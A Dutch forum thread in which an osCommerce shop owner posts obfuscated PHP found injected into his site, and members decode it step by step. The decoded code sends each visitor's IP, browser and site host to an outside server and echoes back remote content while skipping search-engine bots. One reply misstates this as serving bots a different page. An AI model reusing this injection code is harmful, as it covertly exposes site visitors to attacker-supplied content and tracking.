login  Naam:   Wachtwoord: 
Registreer je!
 Forum

me oscommerce ineens heel traag - base64_decode ?

Offline rinus82 - 18/02/2011 20:57 (laatste wijziging 18/02/2011 23:05)
Avatar van rinus82Nieuw lid Ik heb 2 oscommerce winkels draaien op me server 1 heb ik eraf gegooid omdat
er een phising plaatsvond via een link. Nu ontdekte ik dit stuk code hieronder
in me andere webshop toen deze ineens heel traag werd. Ik heb dat weggehaald en nu liep deze ineens weer snel... Wat kan dit stuk betekenen?

  1. <?php eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29MZ0xLWlltdEooJHMpe2ZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4
  2. oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFs
  3. KGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPTAzT3BBVFdMbEdUUnhtYzBsa1VxNTBUc0ZtZGxSQ0tsU
  4. jJialZHWmZSak5sTlhZaUJpYnlWSGRsSjNlZ2tDTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSm9rMV
  5. NweFVVc0pIZEpKbGFPOUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V
  6. 2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9c1RLaTBUUDNKV2IxY1ZZaWdTV0xsR1RSeG1jMGxr
  7. VXE1MFRzRm1kbEJTUGdFMVFTRjNZVGwzVklKbFJ5UlZUNXhXWTJWR0oiKGVkb2NlZF80NmVzYWIob
  8. GF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiN2tpSTkwRVNraG1Vek1tSW9rMVNweF
  9. VVc0pIZEpKbGFPOUViaFpYWjlNa1laSlZkaGhsZXhsRVMzVjBhd3hXWTJWR0oiKGVkb2NlZF80NmV
  10. zYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwVFBCTkdNU2hVWWln
  11. U1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGwxamUybFhlcVYwWmhSM1EycEhjRnhXWTJWR0oiKGVkb2NlZ
  12. F80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwRE5YRm1Jb2
  13. sxU3B4VVVzSkhkSkpsYU85RWJoWlhaOXNXWVNCWFNpVkVWaHAxVWl4V1kyVkdKIihlZG9jZWRfNDZ
  14. lc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj1zVEtpMFRQUmxrZGtkVlNp
  15. Z1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsMVRUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKIihlZG9jZ
  16. WRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09kbGlJVlZUVl
  17. Noa1J3ZzFVV0JUVldsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDl
  18. GSjlVRmJKRm5heGQyUkpwMmR6eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPcGtpSTkwelpqeEdldGxGZEcxV1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsQkNMcElDTldka1cxWjBWWEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZHSXNraUk5a0VXYUpEYkhGbWFLaFZXbVowVmhKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWR0lza2lJd2tUYlI5a1RXUmxJb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaZ3dTS2kwVFF1TldNNEpUVmlnU1dMbEdUUnhtYzBs
  19. a1VxNTBUc0ZtZGxCQ0xwSUNiNEpqVzJsak1TSkNLWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdLNUZtY3lGR0k5QVNZNmhIU3Y1V1FtbFVlUWRtZHp4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZ
  20. hbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09STmtVeE4yVTVkRlNTWmtjVTFVZXNGbWRsUlNQdVExYk0xV1NZTjNUWGhFWllaRmJoWlhaa0FTS2dzeUtwUkNJN1VESTl3RElwUkNJN0FESTlBU2FrZ0
  21. NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI3a1NLaTBUUFJaMk5ybDNZcmRXZWpCVE5YcEZNMUlqWXFsalJreEdaeWdGYjRkVll0SlVSSlZuU1lSR
  22. 01XMTJZM0kwVUxwblVEdGtlajFtV25Sak1pQm5VemtWZFc1bVdpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsaENiaFpYWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPUk5rVXhOMlU1ZEZTU1prY1UxVWVzRm1kbFJpTGk0aUk5NENJVTlHVHRsRVd6OTBWSVJHV1d4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10Sign
  23. OykpIjkxM094azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprQXlib05XWjcwVk1iRlRXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsUkNJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt4azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprd1NUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKb1VHWnZ4R2M0VkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSjdsU0tOZDJTSDlHZU5kRVZKaGxST3BGYmhaWFprd1NNWnRVYU1
  24. GRmJ5UlhTU3BtVFB4V1kyVkdKb0lIZHpKSGR6aENJbWwyT3BrU1hwSVNWT0ZEVkpsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSm9VR1p2Tm1ibHhtYzE1U0tpa3padHBrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVrU1ZzbFVjcUYzWkhsa2EzTkhiaFpYWmtnU1prOTJZ
  25. dVZHYnlWbkxwSVNPSjFtU2lnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1U1hwSVNQSlprVUZaRU1ZWmtVeFFsVFd0V1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvazFTcHhVVXNKSGRKSmxhTzlFYmhaWFp1a2lJOWdEUmpKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWb
  26. UxwSXliQzVHVGlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1eWFoSkZjSkpXUlVGbVdUSkdiaFpYWms0U0tpMFRQM3hrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVRMWJNMVdTWU4zVFhoRVpZWkZiaFpYWms0U0tpMERPNXhrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVraUk5MHpaUEpDS1p0VWFNRkZieV
  27. JYU1NwbVRQeFdZMlZtTDZaWGU1cFdSbkZHZERabmV3VkViaFpYWmtneU1uWkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt3QURPd0V6S3BnU1p0bEdkc2tTS2kwVFRJUkdhU056WWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxoU05rMUdMREpXV1NWWFlZcFhjSmgwZEZ0R2NzRm1kbFJDS2xsMmF
  28. 2OTJZMFYyY0FCeWVnVTJjc1ZHSTl0SElwa1NLZE5rWVpKVmRoaGxleGxFUzNWMGF3eFdZMlZHSmJWVVNMOTBURDlGSm9RWFp6Tlhhb0FpY3ZCU0twVUZiSkZuYXhkMlJKcDJkenhXWTJWR0pnd2lJcDlpSWc0Q0lwRW1lNGgwYnVGa1pKbEhVblozY3NGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTs="));
  29. ?>

7 antwoorden

Gesponsorde links
Offline Hend - 18/02/2011 21:09
Avatar van Hend Lid kun je het niet wat minder breed maken? de hele pagina wordt uitgerekt.
En dat stuk code lijkt me niet goed 
Offline rinus82 - 18/02/2011 21:21
Avatar van rinus82 Nieuw lid Zo al beter Ja maar goed dat ik het tegenkwam hoop dat ze het niet weer opnieuw inbrengen.
Offline UpLink - 18/02/2011 21:59
Avatar van UpLink ... Je verneukt heel het spel hier een beetje...

Er bestaat zoiets als code-tags...
Offline ibmos2warp - 18/02/2011 23:05
Avatar van ibmos2warp PHP interesse Zo dit heb ik er van gemaakt:
  1. <?php function evalhIOoLgLKZYmtJ($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalhIOoLgLKZYmtJ(';))"=03OpATWLlGTRxmc0lkUq50TsFmdlRCKlR2bjVGZfRjNlNXYiBibyVHdlJ3egkCMZtUaMFFbyRXSSpmTPxWY2VGJok1SpxUUsJHdJJlaO9EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TP3JWb1cVYigSWLlGTRxmc0lkUq50TsFmdlBSPgE1QSF3YTl3VIJlRyRVT5xWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kiI90ESkhmUzMmIok1SpxUUsJHdJJlaO9EbhZXZ9MkYZJVdhhlexlES3V0awxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPBNGMShUYigSWLlGTRxmc0lkUq50TsFmdl1je2lXeqV0ZhR3Q2pHcFxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0DNXFmIok1SpxUUsJHdJJlaO9EbhZXZ9sWYSBXSiVEVhp1UixWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPRlkdkdVSigSWLlGTRxmc0lkUq50TsFmdl1TTnt0RvhXTHRVSYZkTaxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJ9UFbJFnaxd2RJp2dzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wOpkiI90zZjxGetlFdG1WVigSWLlGTRxmc0lkUq50TsFmdlBCLpICNWdkW1Z0VXJCKZtUaMFFbyRXSSpmTPxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKZtUaMFFbyRXSSpmTPxWY2VGIskiIwkTbR9kTWRlIok1SpxUUsJHdJJlaO9EbhZXZgwSKi0TQuNWM4JTVigSWLlGTRxmc0lkUq50TsFmdlBCLpICb4JjW2ljMSJCKZtUaMFFbyRXSSpmTPxWY2VGK5FmcyFGI9ASY6hHSv5WQmlUeQdmdzxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRSPuQ1bM1WSYN3TXhEZYZFbhZXZkASKgsyKpRCI7UDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpFM1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDtkej1mWnRjMiBnUzkVdW5mWigSWLlGTRxmc0lkUq50TsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRiLi4iI94CIU9GTtlEWz90VIRGWWxWY2VGJ"(edoced_46esab(lave'));eval(evalhIOoLgLKZYmtJ(';))"913Oxk1SpxUUsJHdJJlaO9EbhZXZkAyboNWZ70VMbFTWLlGTRxmc0lkUq50TsFmdlRCI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKxk1SpxUUsJHdJJlaO9EbhZXZkwSTnt0RvhXTHRVSYZkTaxWY2VGJoUGZvxGc4VGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJ7lSKNd2SH9GeNdEVJhlROpFbhZXZkwSMZtUaMFFbyRXSSpmTPxWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJoUGZvNmblxmc15SKikzZtpkIok1SpxUUsJHdJJlaO9EbhZXZukSVslUcqF3ZHlka3NHbhZXZkgSZk92YuVGbyVnLpISOJ1mSigSWLlGTRxmc0lkUq50TsFmdl5SXpISPJZkUFZEMYZkUxQlTWtWVigSWLlGTRxmc0lkUq50TsFmdltlUFZlUFN1Xk4SKi0DMUFmIok1SpxUUsJHdJJlaO9EbhZXZukiI9gDRjJCKZtUaMFFbyRXSSpmTPxWY2VmLpIybC5GTigSWLlGTRxmc0lkUq50TsFmdl5yahJFcJJWRUFmWTJGbhZXZk4SKi0TP3xkIok1SpxUUsJHdJJlaO9EbhZXZuQ1bM1WSYN3TXhEZYZFbhZXZk4SKi0DO5xkIok1SpxUUsJHdJJlaO9EbhZXZukiI90zZPJCKZtUaMFFbyRXSSpmTPxWY2VmL6ZXe5pWRnFGdDZnewVEbhZXZkgyMnZGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSWLlGTRxmc0lkUq50TsFmdlhSNk1GLDJWWSVXYYpXcJh0dFtGcsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkSKdNkYZJVdhhlexlES3V0awxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpUFbJFnaxd2RJp2dzxWY2VGJgwiIp9iIg4CIpEme4h0buFkZJlHUnZ3csFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
  2.  
  3. function evalhIOoLgLKZYmtJ($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}
  4.  
  5. eval(eval(base64_decode("ZnVuY3Rpb24gZXZhbE9OalJJdHJsUUxpS1koJGV2YWxPTmpSSXRybFFMaUtZMCkge3JldHVybiBiYXNlNjRfZGVjb2RlKCRldmFsT05qUkl0cmxRTGlLWTApO30=")););
  6. function evalONjRItrlQLiKY($evalONjRItrlQLiKY0) {return base64_decode($evalONjRItrlQLiKY0);}
  7.  
  8. eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TP3JWb1cVYigSWLlGTRxmc0lkUq50TsFmdlBSPgE1QSF3YTl3VIJlRyRVT5xWY2VGJ"(edoced_46esab(lave'));
  9. $evalyMTrFRHWyScqRCQ=info;
  10.  
  11. eval(evalhIOoLgLKZYmtJ(';))"7kiI90ESkhmUzMmIok1SpxUUsJHdJJlaO9EbhZXZ9MkYZJVdhhlexlES3V0awxWY2VGJ"(edoced_46esab(lave'));
  12. $evalpkEwHIqzXauRYbC=stats;
  13.  
  14. eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPBNGMShUYigSWLlGTRxmc0lkUq50TsFmdl1je2lXeqV0ZhR3Q2pHcFxWY2VGJ"(edoced_46esab(lave'));
  15. $evalEpzvCtagEjyyvz=http
  16.  
  17. eval(evalhIOoLgLKZYmtJ(';))"=sTKi0DNXFmIok1SpxUUsJHdJJlaO9EbhZXZ9sWYSBXSiVEVhp1UixWY2VGJ"(edoced_46esab(lave'));
  18. $evalbSZaTEbIpRak=in
  19.  
  20. eval(evalhIOoLgLKZYmtJ(';))"=sTKi0TPRlkdkdVSigSWLlGTRxmc0lkUq50TsFmdl1TTnt0RvhXTHRVSYZkTaxWY2VGJ"(edoced_46esab(lave'));
  21. $evalZNFXITGMxoGKgM=!go!
  22.  
  23. eval(evalhIOoLgLKZYmtJ(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJ9UFbJFnaxd2RJp2dzxWY2VGJ"(edoced_46esab(lave'));
  24. $evalswjIGgqjqIlU=$_SERVER[HTTP_USER_AGENT];
  25.  
  26. eval(evalhIOoLgLKZYmtJ(';))"==wOpkiI90zZjxGetlFdG1WVigSWLlGTRxmc0lkUq50TsFmdlBCLpICNWdkW1Z0VXJCKZtUaMFFbyRXSSpmTPxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKZtUaMFFbyRXSSpmTPxWY2VGIskiIwkTbR9kTWRlIok1SpxUUsJHdJJlaO9EbhZXZgwSKi0TQuNWM4JTVigSWLlGTRxmc0lkUq50TsFmdlBCLpICb4JjW2ljMSJCKZtUaMFFbyRXSSpmTPxWY2VGK5FmcyFGI9ASY6hHSv5WQmlUeQdmdzxWY2VGJ"(edoced_46esab(lave'));
  27. $evalsvgPyIfAnoHxza = array(Google, Slurp, MSNBot, ia_archiver, Yandex, Rambler);
  28.  
  29. eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRSPuQ1bM1WSYN3TXhEZYZFbhZXZkASKgsyKpRCI7UDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));
  30. for ($i = 0; $i <= 5; $i++ ) $evalVXdHWOsXImLoT.=$evalyMTrFRHWyScqRCQ;
  31.  
  32. eval(evalhIOoLgLKZYmtJ(';))"7kSKi0TPRZ2Nrl3YrdWejBTNXpFM1IjYqljRkxGZygFb4dVYtJURJVnSYRGMW12Y3I0ULpnUDtkej1mWnRjMiBnUzkVdW5mWigSWLlGTRxmc0lkUq50TsFmdlhCbhZXZ"(edoced_46esab(lave'));
  33. function fg3($s) {return @file_get_contents($s);}
  34.  
  35. eval(evalhIOoLgLKZYmtJ(';))"==wORNkUxN2U5dFSSZkcU1UesFmdlRiLi4iI94CIU9GTtlEWz90VIRGWWxWY2VGJ"(edoced_46esab(lave'));
  36. $evalVXdHWOsXImLoT .=".".$evalyMTrFRHWyScqRCQ;
  37.  
  38. eval(evalhIOoLgLKZYmtJ(';))"913Oxk1SpxUUsJHdJJlaO9EbhZXZkAyboNWZ70VMbFTWLlGTRxmc0lkUq50TsFmdlRCI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKxk1SpxUUsJHdJJlaO9EbhZXZkwSTnt0RvhXTHRVSYZkTaxWY2VGJoUGZvxGc4VGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJ7lSKNd2SH9GeNdEVJhlROpFbhZXZkwSMZtUaMFFbyRXSSpmTPxWY2VGJoIHdzJHdzhCIml2OpkSXpISVOFDVJljRVVlUGNlIok1SpxUUsJHdJJlaO9EbhZXZbJVRWJVRT9FJoUGZvNmblxmc15SKikzZtpkIok1SpxUUsJHdJJlaO9EbhZXZukSVslUcqF3ZHlka3NHbhZXZkgSZk92YuVGbyVnLpISOJ1mSigSWLlGTRxmc0lkUq50TsFmdl5SXpISPJZkUFZEMYZkUxQlTWtWVigSWLlGTRxmc0lkUq50TsFmdltlUFZlUFN1Xk4SKi0DMUFmIok1SpxUUsJHdJJlaO9EbhZXZukiI9gDRjJCKZtUaMFFbyRXSSpmTPxWY2VmLpIybC5GTigSWLlGTRxmc0lkUq50TsFmdl5yahJFcJJWRUFmWTJGbhZXZk4SKi0TP3xkIok1SpxUUsJHdJJlaO9EbhZXZuQ1bM1WSYN3TXhEZYZFbhZXZk4SKi0DO5xkIok1SpxUUsJHdJJlaO9EbhZXZukiI90zZPJCKZtUaMFFbyRXSSpmTPxWY2VmL6ZXe5pWRnFGdDZnewVEbhZXZkgyMnZGI9ASMZtUaMFFbyRXSSpmTPxWY2VGJgsTKwADOwEzKpgSZtlGdskSKi0TTIRGaSNzYigSWLlGTRxmc0lkUq50TsFmdlhSNk1GLDJWWSVXYYpXcJh0dFtGcsFmdlRCKll2av92Y0V2cAByegU2csVGI9tHIpkSKdNkYZJVdhhlexlES3V0awxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpUFbJFnaxd2RJp2dzxWY2VGJgwiIp9iIg4CIpEme4h0buFkZJlHUnZ3csFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
  39. if((preg_match("/" . implode("|", $evalsvgPyIfAnoHxza) . "/i", $evalswjIGgqjqIlU)) or (isset($_COOKIE[$evalpkEwHIqzXauRYbC]))) {} else { @setcookie($evalpkEwHIqzXauRYbC,md5(stats),time()+10800); $evalONjRItrlQLiKY1 = fg3($evalEpzvCtagEjyyvz.:.'//'.$evalVXdHWOsXImLoT.'/'.$evalbSZaTEbIpRak..ph.p?.i=.$_SERVER[REMOTE_ADDR].&b=.urlencode($evalswjIGgqjqIlU).&h=.urlencode($_SERVER[HTTP_HOST]));if (strstr($evalONjRItrlQLiKY1,$evalZNFXITGMxoGKgM)){$evalONjRItrlQLiKY1 = explode($evalZNFXITGMxoGKgM,$evalONjRItrlQLiKY1); $evalONjRItrlQLiKY1 = $evalONjRItrlQLiKY1[1];echo $evalONjRItrlQLiKY1;}}

Dom gedoe dus.
Offline Abbas - 18/02/2011 23:07
Avatar van Abbas Gouden medaille

Crew .NET
Volgende keer gebruik je codetags!
Offline Realtec - 19/02/2011 00:19
Avatar van Realtec HTML interesse Wist niet dat er nog mensen waren die nog oscommerce gebruikten..
Wat heb ik een stress gehad aan dat systeem zeg.

Voor webshops zijn er tegenwoordig veel betere oplossingen zoals magento.

Probeer dat eens uit zal ik zeggen 
Offline Ontani - 19/02/2011 08:53 (laatste wijziging 19/02/2011 09:04)
Avatar van Ontani Gouden medailleGouden medailleGouden medailleGouden medaille

-1
Dit is de uiteindelijke code:

  1. <?php
  2.  
  3. $evalsvgPyIfAnoHxza = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  4. $evalswjIGgqjqIlU = $_SERVER["HTTP_USER_AGENT"];
  5. $evalZNFXITGMxoGKgM = "!go!";
  6. $evalpkEwHIqzXauRYbC = "stat";
  7. $evalyMTrFRHWyScqRCQ = "info";
  8. $evalVXdHWOsXImLoT = "";
  9. $evalVXdHWOsXImLoT .=".".$evalyMTrFRHWyScqRCQ;
  10.  
  11. for ($i = 0; $i <= 5; $i++ ) {
  12. $evalVXdHWOsXImLoT.=$evalyMTrFRHWyScqRCQ;
  13. }
  14.  
  15. if((preg_match("/" . implode("|", $evalsvgPyIfAnoHxza) . "/i", $evalswjIGgqjqIlU)) or (isset($_COOKIE[$evalpkEwHIqzXauRYbC]))) {}
  16. else {
  17. @setcookie($evalpkEwHIqzXauRYbC,md5("stat"),time()+10800);
  18. $evalONjRItrlQLiKY1 = @file_get_contents(("http://".$evalVXdHWOsXImLoT."/i.php?i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($evalswjIGgqjqIlU)."&h=".urlencode($_SERVER["HTTP_HOST"]));
  19. if (strstr($evalONjRItrlQLiKY1,$evalZNFXITGMxoGKgM)){
  20. $evalONjRItrlQLiKY1 = explode($evalZNFXITGMxoGKgM,$evalONjRItrlQLiKY1);
  21. $evalONjRItrlQLiKY1 = $evalONjRItrlQLiKY1[1];
  22. echo $evalONjRItrlQLiKY1;
  23. }
  24. }


Basicly wat het doet is een andere pagina tonen als een zoekmachine op je website komt. Met andere woorden : Je site werd gehacked.
Gesponsorde links
Je moet ingelogd zijn om een reactie te kunnen posten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.215s